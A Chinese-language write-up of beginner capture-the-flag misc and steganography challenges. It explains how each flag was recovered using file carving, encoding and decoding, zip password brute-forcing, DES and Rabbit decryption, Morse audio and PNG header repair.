3.1 Unicode
打开的内容如下:
进行Unicode编码解码两次,即拿到flag。
第一次解码
第二次解码
3.2 小埋
首先打开pcapng包,因为总体数量不多,所以大致浏览一下,并可以发现一些文件的存在。那么文件 -> 导出对象 -> HTTP 就可以拿到里面的一些文件。
在其中找到了一个pass.zip文件,打开之后。
一个密码和一个可能是短网址。在浏览器试试。出现百度网盘,输入密码,拿到一张图片。通过binwalk发现其中有一张png图片。分离之后,是一张二维码。扫码得网址,从而拿到 一些16进制数。
放入winhex,发现一些东西。
保存为pyc文件,并将其反汇编。在线反汇编网址:https://tool.lu/pyc/。也可以使用一些反汇编的软件,例如Easy Python Decompiler。
运行即得flag。
3.3 皮卡丘
拿到一张图片和一个加密的readme.zip文件。先看看readme.zip文件,直接暴力破解,密码191001。
直接百度,得到谜底'高'。
一看图片是png图片,便可以尝试修改图片的高。拿到一串假的flag。
假的flag的字面意思是‘需要密钥的编码’,再结合文件名是des,猜测是des加密。
寻找密文,利用winhex看到密文。
des解密密文,无法解密。 提醒了需要密钥,将假的flag作为密钥进行解密,解密成功,拿到flag。
3.4 冰雪
根据题目提示,最终的flag应该跟凯撒有关系。
首先,拿到一张图片。
首先尝试一下改后缀,发现可以将后缀改为rar,看到里面的一个txt文件,但是是加密的,需要密码。这里就大概有几种办法了:
办法1
直接暴力破解。 因为改后缀为rar文件,那么肯定是用AdvancedArchivePassword_Recovery来进行暴力破解。 但是在将文件拖入后,会提示说这不是一个被口令保护的什么文件。 所以暴力破解不要想。(就算你能暴力破解,我也不认为你能破解出来)
办法2
在暴力破解无果之后,使用foremost分离出一个zip文件,继续暴力破解,不过破解不出来。
办法3
在右键属性里面的详细信息里面
将大括号内的值当成密码试一试
成功拿到里面的内容,一看,结合前面的凯撒,不难看出是凯撒加密。
欧克,拿到flag。
3.5 Life
拿到图片后
binwalk分析,发现里面有还有一个png图片。简单的foremost分离,看到是一张二维码。
扫描二维码,拿到一串密文和藏在最下面的一句话。
兔子。。。得知是Rabbit解密。 无密钥,解密即得flag。
3.6 符号
jother编码
在线解密网址:
http://discogscounter.getfreehosting.co.uk/js-noalnum.php?i=1
3.7 base
分别了解一下base16、base32、base64的一些区别。
不难看出是先base64解密,再base32解密,最后是base16解密 解密完成即得flag。
base64解密
base32解密
base16解密
3.8 涅槃
拿到一段音频,你要听就听,大概听到中间部分。左声道会有滴滴的声音。那么会想到莫斯电码。将音频放入Audacity中,便可以得到一部分的flag。
因为只有一半的音频,所以需要再寻找。 利用notepad或者winhex之类的工具,可以在最后面发现另一部分的flag。
(这里说一下,就是有些在线网址转换摩斯电码,是以大写字母输出。所以最后的flag是全部字母小写即可。)
3.9 埼玉老师
打开图片,琦玉老师你好!!!
用什么记事本啊、binwalk啊都试试,发现没什么收获,丢进winhex里面看一看,可以看到标准的jpg文件头FFD8。
在浏览到文件尾部的时候,看到了IEND。
IEND标志着png文件的结尾。那么根据jpg的文件头,png的结尾的情况,不难猜到有一个jpg和一个png图片。直接搜索16进制数FFD9(FFD9是jpg文件的尾部)
我们看到了NG,结合前面的分析,可以确定是png文件头的缺失,因为png图片的文件头的%PNG。那么补齐即可。
缺少8950 将FFD9之后的内容复制,创建新文件,并加上8950。 保存为png图片,得到flag。
3.10 小猫
首先拿到一个jpg图片
方法一
改后缀
将图片后缀名jpg改为zip,就可以得到flag。
方法二
用记事本或者其他的软件(例如notepad、vscode等)打开,可以看到
编辑 -> 查找
方法三
binwalk+foremost